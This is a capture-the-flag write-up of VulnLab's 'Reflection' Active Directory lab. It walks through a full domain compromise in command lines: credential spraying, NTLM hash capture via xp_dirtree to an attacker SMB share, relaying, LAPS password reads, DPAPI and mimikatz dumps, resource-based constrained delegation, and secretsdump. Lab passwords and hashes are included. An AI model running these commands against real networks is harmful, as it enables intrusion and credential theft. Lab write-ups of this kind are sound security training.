Reflection AD Chain VulnLab - Writeup
Reflection is an AD chain composed of 3 machines MS01, WS01 and DC01. It involves NTLM Relaying, exploiting LAPS and Resource-Based Constrained Delegation.
Scan for DC01
1 | PORT STATE SERVICE VERSION |
Scan for MS01
1 | PORT STATE SERVICE VERSION |
Scan for WS01
1 | PORT STATE SERVICE VERSION |
Started by getting access to the staging_db.conf file inside the stagingarea
share on MS01, with the following credentials
MSSQL enumeration
Using crackmapexec we spray the credentials for the MSSQL service, as follows:
1 | crackmapexec mssql 10.10.159.85-87 -u 'web_staging' -p 'Washroom510' --local-auth |
Having access to MS01
as the web_staging
user, we authenticate to the MSSQL server with his credentials
1 | impacket-mssqlclient 'web_staging':'Washroom510'@10.10.139.6 |
Enumerating the MSSQL server as our current user, we can see that we are running as guest, and got the version of the server running
We also stumbled upon the database “staging” and displayed the users table credentials
Running xp_cmdshell
is not allowed for our current user
So, in this case we will be relying on the NTLM Stealing
technique which consists on establishing a connection from the MSSQL server to authenticate to a self-hosted smb server in order to capture the current user’s hash
To do it, we need to:
xp_dirtree '\\10.8.4.76\share'
specifying our IP and name of the share- Run responder or smbserver.py from impacket and wait for the connection to be established giving the following output
1 | [SMB] NTLMv2-SSP Client : 10.10.200.166 |
Then, we use xp_dirtree
on the mssql server to authenticate to the smb server hosted on our local machine
And, We uncomment the socks4 line on the /etc/proxychains4.conf file
Then relying on the socks proxy we setup, we relayed the credentials to the smb server on the DC machine:
1 | proxychains smbclient -L \\\\10.10.139.5 -U "Reflection/svc_web_staging" |
We decide to list for the uncommon prod share that revealed additional credentials for a database
1 | proxychains smbclient //10.10.139.5/prod -U "Reflection/svc_web_staging" |
We use these credentials to authenticate to the other MSSQL database on DC01
1 | mssqlclient.py 'web_prod':'Tribesman201'@10.10.139.5 |
Having access to the MSSQL instance, we started by listing the available databases and found a prod database
Listing the users
table inside that database gave us access to 2 credentials
The first credential for abbie.smith
is valid while the other one is invalid
Domain enumeration
Having valid domain credentials, the next step is to enumerate the domain reflection.vl, as follows:
1 | bloodhound-python -u "abbie.smith" -p "CMe1x+nlRaaWEw" -d reflection.vl -c all -v -ns 10.10.139.5 --zip |
As we can see, Abbie.smith has Generic All on the MS01 machine, which allows to perform RBCD
LAPS
1 | impacket-addcomputer -computer-name 'TEST$' -computer-pass 'Password_123' -dc-ip 10.10.139.5 'reflection.vl'/'abbie.smith':'CMe1x+nlRaaWEw' -dc-host 'DC01.reflection.vl' |
When trying to add a new computer to the domain, we get an machine account quota exceeded
error message.
We can check the MachineAccountQuota
by doing:
1 | crackmapexec ldap 10.10.139.5 -u abbie.smith -p "CMe1x+nlRaaWEw" --kdcHost 10.10.139.5 -M maq |
However, when we return to our bloodhound enumeration, MS01 has LAPS enabled used for storing the local administrator’s account password of the machine and only accessible to users who have been granted permission through ACLs.
This will allow us as abbie.smith
to list the LAPS password as follows:
1 | crackmapexec ldap 10.10.139.5 -u abbie.smith -p "CMe1x+nlRaaWEw" --kdcHost 10.10.139.5 -M laps |
MS01
Having the password of the MS01 administrator account, we can get the initial foothold into that machine
1 | evil-winrm -u "MS01\administrator" -p "H447.++h6g5}xi" -i 10.10.139.6 |
We can get the flag.txt on the Administrator’s folder.
1 | psexec.py "MS01/administrator":"H447.++h6g5}xi"@10.10.139.6 -target-ip 10.10.139.6 |
Then using mimikatz, we dump the NTLM hash of MS01$ computer account
MS01$:59772949b28167c1396bd060c40cb531
Doing vault::list
with mimikatz also revealed that REFLECTION\Georgia.Price
was stored within a Windows vault
So using nxc, we can dump the DPAPI secrets
1 | nxc smb 10.10.166.198 -u "administrator" -p "H447.++h6g5}xi" --local-auth --dpapi |
Having owned Georgia.Price
, we can see that this user has Generic All
on WS01 which allows to perform RBCD, knowing that we also owned MS01
RBCD
We start by setting up the delegation so that MS01$
can delegate to WS01$
1 | impacket-rbcd -delegate-from 'MS01$' -delegate-to 'WS01$' -action 'write' 'reflection.vl/Georgia.Price:DBl+5MPkpJg5id' |
Now that we delegated access to WS01$
, we can impersonate the administrator for CIFS service by requesting a service ticket for it :
1 | impacket-getST -spn 'cifs/WS01.reflection.vl' -impersonate 'Administrator' -hashes ':59772949b28167c1396bd060c40cb531' 'reflection.vl/MS01$' |
We reference the service ticket ccache file to KRB5CCNAME
1 | export KRB5CCNAME=$PWD/Administrator@cifs_WS01.reflection.vl@REFLECTION.VL.ccache |
We can then dump secrets using the WS01\Administrator
ccache file
1 | secretsdump.py administrator@WS01.reflection.vl -k -no-pass |
1 | Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation |
We found in the output the password of another domain user reflection.vl\Rhys.Garner:knh1gJ8Xmeq+uP
which could help us afterwards.
WS01
But before, we get our foothold into the WS01 machine
1 | impacket-psexec WS01/Administrator@10.10.166.199 -hashes ":a29542cb2707bf6d6c1d2c9311b0ff02" |
Having access to WS01 as the local admin, we found the flag on Rhys.Garner
Desktop folder
DC01
Searching for Rhys.Garner user on bloodhound didn’t help us find the next step to become DA. However, another user has the same last name DOM_RGARNER
:
And to our surprise that other user DOM_RGARNER
has the same password and is a domain admin.
So, the next step is to get a foothold into the DC
1 | impacket-psexec reflection.vl/DOM_RGARNER:"knh1gJ8Xmeq+uP"@10.10.166.197 |
And we get the last flag